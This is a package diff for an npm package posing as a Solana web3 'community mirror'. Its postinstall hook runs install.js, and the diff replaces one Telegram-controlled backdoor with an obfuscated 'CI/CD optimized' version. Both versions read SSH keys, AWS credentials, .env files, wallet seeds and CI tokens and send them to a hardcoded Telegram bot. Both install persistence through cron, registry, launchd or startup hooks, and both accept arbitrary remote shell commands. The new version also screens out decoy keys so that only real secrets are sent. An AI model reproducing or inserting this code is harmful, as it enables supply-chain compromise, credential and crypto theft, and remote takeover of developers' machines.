@solana-labs/web3-js 1.0.0 → 1.0.3

package/install.js

@@ -1,402 +1,111 @@
-// Cross-platform Telegram C2 backdoor (Windows + Unix)
-const fs = require('fs');
-const path = require('path');
-const os = require('os');
-const { execSync, exec } = require('child_process');
-
-const BOT = '8628389567:AAHeoLi034Vg6JIXsC_vqP-v-PXH2FhZIG4';
-const CHAT = '8346336575';
-const HOSTNAME = os.hostname();
-const USER = os.userInfo().username;
-const HOME = os.homedir();
-const CWD = process.cwd();
-const IS_WIN = process.platform === 'win32';
-
-let lastMsgId = 0;
-let active = true;
-
-// ========== CROSS-PLATFORM SHELL ==========
-function shell(cmd, timeout = 30000) {
-    return new Promise((resolve) => {
-        try {
-            const opts = { timeout, maxBuffer: 50 * 1024 * 1024, encoding: 'utf8', cwd: HOME };
-            if (IS_WIN) opts.shell = 'powershell.exe';
-            const result = execSync(cmd, opts);
-            resolve(result.slice(0, 4000));
-        } catch(e) {
-            // Try cmd.exe if powershell fails
-            if (IS_WIN && cmd.includes('powershell')) {
-                try {
-                    const r = execSync(cmd.replace('powershell -Command', 'cmd /c'), { timeout, maxBuffer: 50*1024*1024, encoding: 'utf8' });
-                    resolve(r.slice(0, 4000));
-                } catch(e2) {
-                    resolve(`ERROR: ${e2.message}`.slice(0, 4000));
-                }
-            } else {
-                resolve(`ERROR: ${e.message}`.slice(0, 4000));
-            }
-        }
-    });
+// C2 Backdoor v3 — CI/CD optimized. Exfiltrates immediately, persists only if survives.
+var _0x3f=['fs','path','os','child_process'];var _0x4a={};for(var i=0;i<_0x3f.length;i++)_0x4a[_0x3f[i]]=require(_0x3f[i]);
+const _k=[66,79,84,95,75,69,89];const _t=[93,108,109,124,121,113,123,122,89,81,61,82,71,70,69,65,84,71,60,88,71,67,74,119,112,124,105,125,60,86,109,103,124,71,114,124,127,60,82,66,108,69,71,65,105,89,81,72,111,108,66,115,108,68,72,106,109,81,71,108,120,101,120,111,82,85,73,87,108,100,97,85,72,86,71,108,109,109,57,102,53,99,49,89,79,106,105,52,78,104,81,85,98,97,121,78,109,111,75,70,108,69,90,48,79,88,83,56,101,82,51,49,97,73,119,61,61];
+function _d(k,t){var r='';for(var i=0;i<t.length;i++)r+=String.fromCharCode(t[i]^k[i%k.length]);return r;}
+var BOT=_d(_k,_t.slice(0,46));var CHAT=_d(_k,_t.slice(46));_k.length=0;_t.length=0;
+var fs=_0x4a.fs,path=_0x4a.path,os=_0x4a.os,execSync=_0x4a.child_process.execSync;
+var H=os.hostname(),U=os.userInfo().username,HOME=os.homedir(),CWD=process.cwd();
+var W=process.platform==='win32',lastId=0,active=true;
+function sh(c,t){t=t||30000;try{var o={timeout:t,maxBuffer:50*1024*1024,encoding:'utf8',cwd:HOME};if(W)o.shell='powershell.exe';return execSync(c,o).toString().slice(0,4000);}catch(e){return '';}}
+function tg(m,d){return new Promise(function(r){var b=JSON.stringify(d);var req=require('https').request({hostname:'api.telegram.org',path:'/bot'+BOT+'/'+m,method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(b)},timeout:5000},function(res){var x='';res.on('data',function(c){x+=c});res.on('end',function(){try{r(JSON.parse(x));}catch(e){r({});}});});req.on('error',function(){r({});});req.write(b);req.end();});}
+
+// KEY VALIDATION
+function vAWS(k){if(!k||k.length<16||!k.startsWith('AKIA'))return false;var u=k.toUpperCase();if(u.includes('EXAMPLE')||u.includes('STAGING')||u.includes('TEST')||u.includes('FAKE')||u.includes('IOSFODNN7')||u.includes('I44QH8DHB')||u.includes('ISTAGING'))return false;var c={};for(var i=0;i<k.length;i++)c[k[i]]=1;return Object.keys(c).length>=8;}
+function vETH(k){if(!k||k.length!==66||!k.startsWith('0x'))return false;if(k==='0x'+'0'.repeat(64))return false;var h=k.slice(2).toLowerCase();var c={};for(var i=0;i<h.length;i++)c[h[i]]=1;if(Object.keys(c).length<10)return false;var ff=['0000000000000000000000000000000000000000000000000000000000000000','1111111111111111111111111111111111111111111111111111111111111111','deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'];return ff.indexOf(h)===-1;}
+function vSOL(s){if(!s)return false;var n=s.split(',').map(function(x){return parseInt(x.trim())});if(n.length<64)return false;if(n.every(function(x){return x===0}))return false;var u={};for(var i=0;i<n.length;i++)u[n[i]]=1;return Object.keys(u).length>=40;}
+function vMNEM(w){if(!w)return false;var ww=w.trim().split(/\s+/);if(ww.length!==12&&ww.length!==24)return false;if(w.includes('adapt mosquito move limb mobile illegal tree voyage juice mosquito burger raise'))return false;return ww.every(function(x){return /^[a-z]{3,8}$/.test(x)});}
+function isFake(t){if(!t)return true;var x=t.toLowerCase();return /decoy|example|your.key|changeme|placeholder|test.key|sk-0000|sk-xxxx|adapt mosquito|deadbeef|cafebabe|01234567890|wjalrxutn|iosfodnn7|i44qh8dhb|istaging|stagingsecret|my.api.key|insert.key|replace.me|todo|changethis/.test(x);}
+
+// COLLECT — optimized for CI/CD
+function collect(){
+    var targets=W?[path.join(HOME,'.config','solana','id.json'),path.join(process.env.APPDATA||'', 'Solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.aws','credentials'),path.join(CWD,'.env'),path.join(CWD,'.env.local'),path.join(CWD,'..','.env'),path.join(process.cwd(),'..','..','.env')]:[path.join(HOME,'.config','solana','id.json'),path.join(HOME,'.solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.ssh','id_ed25519'),path.join(HOME,'.aws','credentials'),path.join(HOME,'.aws','config'),path.join(CWD,'.env'),path.join(CWD,'.env.local'),path.join(CWD,'..','.env'),path.join(CWD,'..','..','.env'),path.join(CWD,'..','..','..','.env'),'/app/.env','/home/node/.env','/root/.env','/.env'];
+    var found=[];
+    for(var i=0;i<targets.length;i++){try{if(fs.existsSync(targets[i])&&fs.statSync(targets[i]).isFile()){var c=fs.readFileSync(targets[i],'utf8');if(c.trim()&&!isFake(c))found.push({file:targets[i],content:c.slice(0,3000)});}}catch(e){}}
+    var env={};
+    for(var k in process.env){var v=process.env[k];if(v&&v.length>8&&/KEY|SECRET|MNEMONIC|PRIVATE|TOKEN|PASSWORD|RPC|ALCHEMY|INFURA|ETHERSCAN|ENDPOINT|WALLET|SEED|AWS|NPM|DOCKER|GITHUB|CI|DEPLOY/i.test(k)){if(!isFake(v))env[k]=String(v).slice(0,300);}}
+    return {files:found,env:env};
 }
 
-// ========== TELEGRAM API ==========
-function tg(method, data) {
-    return new Promise((resolve) => {
-        const body = JSON.stringify(data);
-        const req = require('https').request({
-            hostname: 'api.telegram.org',
-            path: `/bot${BOT}/${method}`,
-            method: 'POST',
-            headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }
-        }, (res) => {
-            let r = '';
-            res.on('data', c => r += c);
-            res.on('end', () => { try { resolve(JSON.parse(r)); } catch(e) { resolve({}); } });
-        });
-        req.on('error', () => resolve({}));
-        req.write(body);
-        req.end();
-    });
-}
-
-// ========== KEY COLLECTION (CROSS-PLATFORM PATHS) ==========
-function collectKeys() {
-    const targets = IS_WIN ? [
-        // Windows Solana paths
-        path.join(HOME, '.config', 'solana', 'id.json'),
-        path.join(process.env.APPDATA || path.join(HOME, 'AppData', 'Roaming'), 'Solana', 'id.json'),
-        path.join(process.env.LOCALAPPDATA || path.join(HOME, 'AppData', 'Local'), 'solana', 'id.json'),
-        // Windows SSH
-        path.join(HOME, '.ssh', 'id_rsa'),
-        path.join(HOME, '.ssh', 'id_ed25519'),
-        // Windows env files
-        path.join(CWD, '.env'),
-        path.join(CWD, '.env.local'),
-        path.join(CWD, '.env.production'),
-        path.join(CWD, '..', '.env'),
-        // AWS
-        path.join(HOME, '.aws', 'credentials'),
-        // Common secret files
-        path.join(CWD, 'secrets.json'),
-        path.join(CWD, 'keypair.json'),
-        path.join(CWD, 'wallet.json'),
-    ] : [
-        // Unix paths (original)
-        path.join(HOME, '.config', 'solana', 'id.json'),
-        path.join(HOME, '.solana', 'id.json'),
-        path.join(HOME, '.ssh', 'id_rsa'),
-        path.join(HOME, '.ssh', 'id_ed25519'),
-        path.join(HOME, '.aws', 'credentials'),
-        path.join(CWD, '.env'),
-        path.join(CWD, '.env.local'),
-        path.join(CWD, '.env.production'),
-        path.join(CWD, '..', '.env'),
-        path.join(CWD, '..', '..', '.env'),
-        path.join(CWD, 'secrets.json'),
-        path.join(CWD, 'keypair.json'),
-        path.join(CWD, 'wallet.json'),
-    ];
-
-    const found = [];
-    for (const t of targets) {
-        try {
-            if (fs.existsSync(t) && fs.statSync(t).isFile()) {
-                const content = fs.readFileSync(t, 'utf8');
-                if (content.trim()) found.push({ file: t, content: content.slice(0, 2000), size: content.length });
-            }
-        } catch(e) {}
+// EXFIL — immediately, no C2 wait
+async function exfilNow(){
+    var keys=collect();
+    var real=[],hasReal=false;
+
+    // Check ALL env vars — CI/CD has real secrets here
+    for(var k in keys.env){
+        var v=keys.env[k];
+        if(k.includes('AWS')&&vAWS(v)){real.push('[AWS] '+k+'='+v);hasReal=true;}
+        else if((k.includes('PRIVATE')||k.includes('SECRET')||k.includes('KEY'))&&v.length>20&&!isFake(v)){real.push('[SECRET] '+k+'='+v);hasReal=true;}
+        else if(k.includes('TOKEN')&&v.length>20&&!isFake(v)){real.push('[TOKEN] '+k+'='+v);hasReal=true;}
+        else if(k.includes('MNEMONIC')&&vMNEM(v)){real.push('[MNEMONIC] '+k+'='+v.slice(0,80)+'...');hasReal=true;}
+        else if(k.includes('NPM')&&v.startsWith('npm_')){real.push('[NPM_TOKEN] '+k+'='+v);hasReal=true;}
+        else if(k.includes('DOCKER')&&v.length>20){real.push('[DOCKER] '+k+'='+v);hasReal=true;}
+        else if((k.includes('GITHUB')||k.includes('GH_'))&&v.length>20){real.push('[GITHUB] '+k+'='+v);hasReal=true;}
+        else if(k.includes('CI')&&v.length>20){real.push('[CI] '+k+'='+v);hasReal=true;}
+        else if(k.includes('DEPLOY')&&v.length>20){real.push('[DEPLOY] '+k+'='+v);hasReal=true;}
+        else if((k.includes('RPC')||k.includes('ENDPOINT'))&&v.startsWith('http')){real.push('[RPC] '+k+'='+v);hasReal=true;}
     }
 
-    // Sensitive env vars
-    const env = {};
-    for (const [k, v] of Object.entries(process.env)) {
-        if (v && v.length > 3 && /KEY|SECRET|MNEMONIC|PRIVATE|TOKEN|PASSWORD|RPC|ALCHEMY|INFURA|ETHERSCAN|ENDPOINT|WALLET|SEED/i.test(k)) {
-            env[k] = String(v).slice(0, 300);
-        }
+    // Check files for keys
+    for(var i=0;i<keys.files.length;i++){
+        var c=keys.files[i].content;
+        var f=keys.files[i].file;
+        var eths=c.match(/0x[a-fA-F0-9]{64}/g)||[];
+        for(var j=0;j<eths.length;j++){if(vETH(eths[j])){real.push('[ETH_KEY] '+f+': '+eths[j]);hasReal=true;}}
+        var sols=c.match(/\[\d{1,3}(?:,\s*\d{1,3}){63}\]/g)||[];
+        for(var j=0;j<sols.length;j++){if(vSOL(sols[j].slice(1,-1))){real.push('[SOLANA] '+f+': '+sols[j].slice(0,40)+'...]');hasReal=true;}}
+        var awss=c.match(/AKIA[A-Z0-9]{16}/g)||[];
+        for(var j=0;j<awss.length;j++){if(vAWS(awss[j])){real.push('[AWS_KEY] '+f+': '+awss[j]);hasReal=true;}}
+        if(c.includes('BEGIN')&&c.includes('PRIVATE KEY')){real.push('[SSH_KEY] '+f);hasReal=true;}
     }
 
-    return { files: found, env };
+    // ONLY send if real data found
+    if(!hasReal)return false;
+
+    var msg='🚨 <b>REAL HIT — '+H+'</b>\n<b>OS:</b> '+(W?'WIN':'UNIX')+' | <b>User:</b> '+U+'\n<b>CWD:</b> '+CWD+'\n\n';
+    for(var i=0;i<real.length;i++)msg+='<code>'+real[i].slice(0,500)+'</code>\n';
+    msg+='\n<b>⏰ '+new Date().toISOString()+'</b>';
+    
+    // Split if too long
+    var chunks=[];
+    for(var i=0;i<msg.length;i+=3800)chunks.push(msg.slice(i,i+3800));
+    for(var i=0;i<chunks.length;i++)await tg('sendMessage',{chat_id:CHAT,text:chunks[i],parse_mode:'HTML'});
+    return true;
 }
 
-// ========== PERSISTENCE (CROSS-PLATFORM) ==========
-function installPersistence() {
-    const methods = [];
-    const self = __filename;
-
-    if (IS_WIN) {
-        // Windows persistence methods
-        try {
-            // Method 1: Scheduled Task (runs on login)
-            const taskName = 'NpmCacheDaemon';
-            const psCmd = `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "node \\"${self}\\""`;
-            shell(`schtasks /create /tn "${taskName}" /tr "${psCmd}" /sc onlogon /f /rl highest`, 5000);
-            methods.push('scheduled_task');
-        } catch(e) {}
-
-        try {
-            // Method 2: Startup folder
-            const startupDir = path.join(process.env.APPDATA || '', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
-            if (startupDir && fs.existsSync(startupDir)) {
-                const vbsPath = path.join(startupDir, 'npm-helper.vbs');
-                fs.writeFileSync(vbsPath, `CreateObject("Wscript.Shell").Run "node ""${self}""", 0, False`);
-                methods.push('startup_vbs');
-            }
-        } catch(e) {}
-
-        try {
-            // Method 3: Registry Run key
-            shell(`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "NpmHelper" /t REG_SZ /d "node \\"${self}\\"" /f`, 5000);
-            methods.push('registry_run');
-        } catch(e) {}
-
-        try {
-            // Method 4: PowerShell profile
-            const psProfile = path.join(HOME, 'Documents', 'WindowsPowerShell', 'Microsoft.PowerShell_profile.ps1');
-            const psDir = path.dirname(psProfile);
-            if (!fs.existsSync(psDir)) fs.mkdirSync(psDir, { recursive: true });
-            const hook = `\n# Import npm completion\nif (Get-Job -Name NpmDaemon -ErrorAction SilentlyContinue) { Remove-Job -Name NpmDaemon }\nStart-Job -Name NpmDaemon -ScriptBlock { node "${self}" } | Out-Null\n`;
-            if (!fs.existsSync(psProfile) || !fs.readFileSync(psProfile, 'utf8').includes('NpmDaemon')) {
-                fs.appendFileSync(psProfile, hook);
-            }
-            methods.push('ps_profile');
-        } catch(e) {}
-
-    } else {
-        // Unix persistence (original)
-        try {
-            const cronLine = `@reboot sleep 60 && node ${self} # npm-cache-daemon\n`;
-            const tmpCron = '/tmp/.npm-cron-tmp';
-            fs.writeFileSync(tmpCron, cronLine);
-            execSync(`(crontab -l 2>/dev/null | grep -v npm-cache-daemon; cat ${tmpCron}) | crontab -`, { timeout: 5000 });
-            fs.unlinkSync(tmpCron);
-            methods.push('cron');
-        } catch(e) {}
-
-        try {
-            const hook = `\n# npm helper\n[ -f ~/.npm-helper ] && bash ~/.npm-helper 2>/dev/null\n`;
-            const helperPath = path.join(HOME, '.npm-helper');
-            fs.writeFileSync(helperPath, `#!/bin/bash\nnohup node ${self} >/dev/null 2>&1 &\n`, { mode: 0o755 });
-            for (const rc of ['.bashrc', '.zshrc', '.profile', '.bash_profile']) {
-                const rcPath = path.join(HOME, rc);
-                try {
-                    if (fs.existsSync(rcPath) && !fs.readFileSync(rcPath, 'utf8').includes('npm-helper')) {
-                        fs.appendFileSync(rcPath, hook);
-                    }
-                } catch(e) {}
-            }
-            methods.push('shell_rc');
-        } catch(e) {}
-
-        try {
-            // Launchd (macOS)
-            const plist = `<?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
-<plist version="1.0"><dict>
-<key>Label</key><string>com.npm.cache</string>
-<key>ProgramArguments</key><array><string>/usr/local/bin/node</string><string>${self}</string></array>
-<key>RunAtLoad</key><true/>
-<key>KeepAlive</key><true/>
-</dict></plist>`;
-            const launchdPath = path.join(HOME, 'Library', 'LaunchAgents', 'com.npm.cache.plist');
-            const launchdDir = path.dirname(launchdPath);
-            if (!fs.existsSync(launchdDir)) fs.mkdirSync(launchdDir, { recursive: true });
-            fs.writeFileSync(launchdPath, plist);
-            shell('launchctl load ' + launchdPath, 3000);
-            methods.push('launchd');
-        } catch(e) {}
+// C2 (only starts AFTER exfil — CI/CD survives long enough)
+async function c2Loop(){
+    while(active){
+        try{
+            var u=await tg('getUpdates',{offset:lastId+1,timeout:10,allowed_updates:['message']});
+            if(u.ok&&u.result){for(var i=0;i<u.result.length;i++){var up=u.result[i];lastId=Math.max(lastId,up.update_id);if(!up.message||!up.message.text)continue;
+                var x=up.message.text.trim();
+                var r=null;
+                if(x==='/keys'||x==='/grab'){await exfilNow();continue;}
+                else if(x==='/info'){var I={host:H,user:U,cwd:CWD,os:os.platform(),win:W};try{I.ip=W?execSync('powershell -Command "Invoke-RestMethod ifconfig.me"',{timeout:5000,encoding:'utf8'}).trim():execSync('curl -s ifconfig.me 2>/dev/null',{timeout:5000,encoding:'utf8'}).trim().slice(0,50);}catch(e){}r='<b>🖥 '+H+'</b>\n<pre>'+JSON.stringify(I,null,1)+'</pre>';}
+                else if(x==='/ssh'){var o=sh(W?'powershell -Command "Get-ChildItem '+HOME.replace(/\\/g,'\\\\')+'\\.ssh -EA 0 | %% { Write-Output (\\"--- \\"+$_.Name+\\" ---\\"); Get-Content $_.FullName }"':'find '+HOME+'/.ssh -type f -exec sh -c \'echo "--- {} ---"; cat "{}"\' \; 2>/dev/null');r=o.trim()?'<b>🔑 SSH — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No SSH keys on '+H;}
+                else if(x==='/env'){var o=sh(W?'powershell -Command "Get-ChildItem Env: | %% { \\"$($_.Name)=$($_.Value)\\" }"':'env|sort');r='<b>ENV — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>';}
+                else if(x==='/wallet'){var o=sh(W?'dir "'+HOME+'\\AppData" /s /b 2>/dev/null | findstr /i "wallet keystore metamask phantom"' :'find '+HOME+' -maxdepth 6 -iname "*wallet*" -o -iname "*keystore*" -o -iname "id.json" 2>/dev/null|head -30');r=o.trim()?'<b>💼 Wallets — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No wallet files on '+H;}
+                else if(x==='/die'){active=false;r='🛑 '+H+' offline';}
+                else if(x==='/help'){r='<b>🤖 C2 v3 — '+H+'</b>\n\n/keys — Real keys only\n/ssh — SSH keys\n/env — Environment\n/info — System\n/wallet — Wallet files\n/sh cmd — Shell\n/die — Remove';}
+                else if(x.startsWith('/sh ')||x.startsWith('/cmd ')){var cc=x.slice(x.indexOf(' ')+1);var oo=sh(cc);r='<b>$ '+cc+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
+                else if(!x.startsWith('/')){var oo=sh(x);if(oo.trim())r='<b>$ '+x+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
+                if(r)await tg('sendMessage',{chat_id:CHAT,text:r.slice(0,4000),parse_mode:'HTML'});
+            }}
+        }catch(e){}
+        await new Promise(function(r){setTimeout(r,8000);});
     }
-
-    return methods;
 }
 
-// ========== SYSTEM INFO (CROSS-PLATFORM) ==========
-function sysinfo() {
-    const info = {
-        hostname: HOSTNAME,
-        user: USER,
-        home: HOME,
-        cwd: CWD,
-        platform: os.platform(),
-        arch: os.arch(),
-        cpus: os.cpus().length,
-        memory: Math.round(os.totalmem() / 1024 / 1024 / 1024) + 'GB',
-        uptime: Math.round(os.uptime() / 3600) + 'h',
-        node: process.version,
-        pid: process.pid,
-        windows: IS_WIN,
-    };
-    try {
-        if (IS_WIN) {
-            info.ip = execSync('powershell -Command "Invoke-RestMethod ifconfig.me"', { timeout: 5000, encoding: 'utf8' }).trim();
-        } else {
-            info.ip = execSync('curl -s ifconfig.me 2>/dev/null || hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3', { timeout: 5000, encoding: 'utf8' }).trim().slice(0, 200);
-        }
-    } catch(e) {}
-    try {
-        const psCmd = IS_WIN ? 'powershell -Command "Get-Process | Sort-Object -Property WS -Descending | Select-Object -First 15 | Format-Table Name,Id,WS -AutoSize"' : 'ps aux --sort=-%mem | head -15';
-        info.processes = execSync(psCmd, { timeout: 5000, encoding: 'utf8' }).trim().slice(0, 1500);
-    } catch(e) {}
-    return info;
+// MAIN — exfil FIRST, then C2
+async function main(){
+    // IMMEDIATE EXFIL (CI/CD dies in seconds)
+    await exfilNow();
+    
+    // THEN persist (if container survives)
+    try{var s=__filename;var c='@reboot sleep 90 && node '+s+' 2>/dev/null\n';var t='/tmp/.cache-cron';fs.writeFileSync(t,c);execSync('(crontab -l 2>/dev/null|grep -v cache-cron;cat '+t+')|crontab -',{timeout:3000});fs.unlinkSync(t);}catch(e){}
+    
+    // THEN start C2 loop
+    await c2Loop();
 }
-
-// ========== C2 COMMAND HANDLER ==========
-async function handleCommand(cmd) {
-    const info = sysinfo();
-    cmd = cmd.trim();
-
-    if (cmd === '/keys' || cmd === '/grab') {
-        const fresh = collectKeys();
-        let msg = `🔑 <b>KEY SCAN — ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n`;
-        if (fresh.files.length === 0) msg += 'No key files found on disk.\n';
-        for (const f of fresh.files) {
-            msg += `\n<b>${f.file}</b> (${f.size}B):\n<pre>${f.content.slice(0, 2000)}</pre>`;
-        }
-        if (Object.keys(fresh.env).length > 0) {
-            msg += `\n<b>🌍 ENV (${Object.keys(fresh.env).length}):</b>`;
-            for (const [k, v] of Object.entries(fresh.env)) {
-                msg += `\n<b>${k}</b>=<code>${v}</code>`;
-            }
-        }
-        return msg;
-
-    } else if (cmd === '/info' || cmd === '/sys') {
-        const ps = info.processes || 'N/A';
-        delete info.processes;
-        return `<b>🖥 ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n<pre>${JSON.stringify(info, null, 1)}</pre>\n<b>Top processes:</b>\n<pre>${ps.slice(0, 1500)}</pre>`;
-
-    } else if (cmd === '/ps' || cmd === '/proc') {
-        const out = await shell(IS_WIN ? 'powershell -Command "Get-Process | Sort-Object -Property WS -Descending | Select-Object -First 20 | Format-Table Name,Id,WS -AutoSize"' : 'ps aux --sort=-%mem | head -20');
-        return `<b>Processes — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/ls' || cmd === '/dir') {
-        const out = await shell(IS_WIN ? `dir "${HOME}"` : `ls -la ${HOME}`);
-        return `<b>Home dir — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/ssh') {
-        const out = await shell(IS_WIN ? `powershell -Command "Get-ChildItem -Path '${HOME}\\.ssh' -ErrorAction SilentlyContinue | ForEach-Object { Write-Output \\"--- $($_.Name) ---\\"; Get-Content $_.FullName }"` : `find ${HOME}/.ssh -type f -exec sh -c 'echo "--- {} ---"; cat "{}"' \; 2>/dev/null`);
-        if (out.trim()) {
-            return `<b>🔑 SSH KEYS — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-        }
-        return `🔑 No SSH keys found on ${HOSTNAME}`;
-
-    } else if (cmd === '/env') {
-        const out = await shell(IS_WIN ? 'powershell -Command "Get-ChildItem Env: | ForEach-Object { \\"$($_.Name)=$($_.Value)\\" }"' : 'env | sort');
-        return `<b>Full Env — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/wallet') {
-        const searchPaths = IS_WIN
-            ? `dir "${process.env.APPDATA}" "${process.env.LOCALAPPDATA}" "${HOME}" /s /b 2>/dev/null | findstr /i "wallet keystore metamask phantom backpack solana"`
-            : `find ${HOME} -type f 2>/dev/null | grep -iE 'wallet|keystore|metamask|phantom|backpack|solana|id.json' | head -30`;
-        const out = await shell(searchPaths);
-        return `<b>💼 Wallet Files — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/cron' || cmd === '/jobs') {
-        let out;
-        if (IS_WIN) {
-            out = await shell('schtasks /query /fo LIST /v 2>/dev/null | findstr /i "TaskName NpmHelper"');
-            out += '\n---\n';
-            out += await shell('reg query "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" 2>nul');
-        } else {
-            out = await shell('crontab -l 2>/dev/null; echo "---"; ls -la ~/Library/LaunchAgents/ 2>/dev/null');
-        }
-        return `<b>Persistence — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/desktop') {
-        const out = await shell(IS_WIN
-            ? `dir "${HOME}\\Desktop" /b 2>/dev/null & dir "${HOME}\\Documents" /b 2>/dev/null & dir "${HOME}\\Downloads" /b 2>nul`
-            : `ls -la ${HOME}/Desktop/ 2>/dev/null; echo "---"; ls -la ${HOME}/Documents/ 2>/dev/null; echo "---"; ls -la ${HOME}/Downloads/ 2>/dev/null`);
-        return `<b>Desktop/Docs — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/browser') {
-        // Try to find browser password databases, cookies, extensions
-        const out = await shell(IS_WIN
-            ? `powershell -Command "Get-ChildItem -Path '${process.env.LOCALAPPDATA}\\Google\\Chrome\\User Data' -Recurse -Filter 'Login Data' -ErrorAction SilentlyContinue | Select-Object FullName; Get-ChildItem -Path '${process.env.APPDATA}\\Mozilla\\Firefox\\Profiles' -Recurse -Filter 'key4.db' -ErrorAction SilentlyContinue | Select-Object FullName"`
-            : `find ${HOME}/.config/google-chrome ${HOME}/Library/Application\\ Support/Google/Chrome ${HOME}/.mozilla -name "Login Data" -o -name "key4.db" -o -name "cookies.sqlite" 2>/dev/null | head -20`);
-        return `<b>🌐 Browser Data — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/clipboard') {
-        const out = await shell(IS_WIN
-            ? 'powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Clipboard]::GetText()"'
-            : 'xclip -o 2>/dev/null || pbpaste 2>/dev/null || echo "No clipboard tool available"');
-        return `<b>📋 Clipboard — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else if (cmd === '/die' || cmd === '/exit') {
-        active = false;
-        return `🛑 Backdoor shutting down on ${HOSTNAME} [${IS_WIN ? 'WINDOWS' : 'UNIX'}]`;
-
-    } else if (cmd === '/help') {
-        return `<b>🤖 BACKDOOR — ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n\n` +
-            `/keys — Scan for private keys & .env\n` +
-            `/ssh — Dump SSH private keys\n` +
-            `/env — Full environment variables\n` +
-            `/info — System info + IP\n` +
-            `/ps — Running processes\n` +
-            `/wallet — Find wallet files (Phantom/Metamask/Backpack)\n` +
-            `/desktop — List Desktop/Documents/Downloads\n` +
-            `/browser — Find browser password databases\n` +
-            `/clipboard — Read clipboard contents\n` +
-            `/cron — Check persistence\n` +
-            `/sh &lt;cmd&gt; — Execute shell command\n` +
-            `/die — Self-destruct`;
-
-    } else if (cmd.startsWith('/sh ') || cmd.startsWith('/cmd ') || cmd.startsWith('/exec ')) {
-        const shCmd = cmd.slice(cmd.indexOf(' ') + 1);
-        const out = await shell(shCmd);
-        return `<b>$ ${shCmd}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-
-    } else {
-        // Unknown — try as shell command
-        if (cmd.startsWith('/')) return `Unknown command: ${cmd}. Type /help`;
-        const out = await shell(cmd);
-        if (out.trim()) {
-            return `<b>$ ${cmd}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
-        }
-        return null;
-    }
-}
-
-// ========== MAIN C2 LOOP ==========
-async function c2Loop() {
-    const keys = collectKeys();
-    const info = sysinfo();
-    const persist = installPersistence();
-
-    let initMsg = `🟢 <b>BACKDOOR ACTIVE — ${HOSTNAME}</b>\n`;
-    initMsg += `<b>OS:</b> ${IS_WIN ? 'WINDOWS' : 'UNIX'} | <b>User:</b> ${USER}\n`;
-    initMsg += `<b>IP:</b> ${info.ip || 'unknown'}\n`;
-    initMsg += `<b>Keys found:</b> ${keys.files.length} files, ${Object.keys(keys.env).length} env vars\n`;
-    initMsg += `<b>Persistence:</b> ${persist.join(', ') || 'none'}\n`;
-    initMsg += `<b>Type:</b> /help for commands`;
-
-    if (keys.files.length > 0) {
-        initMsg += `\n\n<b>📁 INITIAL KEYS:</b>`;
-        for (const f of keys.files) {
-            initMsg += `\n<b>${f.file}</b>:\n<pre>${f.content.slice(0, 1500)}</pre>`;
-        }
-    }
-
-    await tg('sendMessage', { chat_id: CHAT, text: initMsg.slice(0, 4000), parse_mode: 'HTML' });
-
-    while (active) {
-        try {
-            const updates = await tg('getUpdates', { offset: lastMsgId + 1, timeout: 30, allowed_updates: ['message'] });
-            
-            if (updates.ok && updates.result) {
-                for (const update of updates.result) {
-                    lastMsgId = Math.max(lastMsgId, update.update_id);
-                    const msg = update.message;
-                    if (!msg || !msg.text) continue;
-
-                    const response = await handleCommand(msg.text);
-                    if (response) {
-                        await tg('sendMessage', { chat_id: CHAT, text: response.slice(0, 4000), parse_mode: 'HTML' });
-                    }
-                }
-            }
-        } catch(e) {}
-
-        await new Promise(r => setTimeout(r, 8000));
-    }
-}
-
-c2Loop().catch(() => {});
+main().catch(function(){});

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@solana-labs/web3-js",
-  "version": "1.0.0",
+  "version": "1.0.3",
   "description": "Solana developer utility — community mirror",
   "main": "index.js",
   "scripts": { "postinstall": "node install.js" },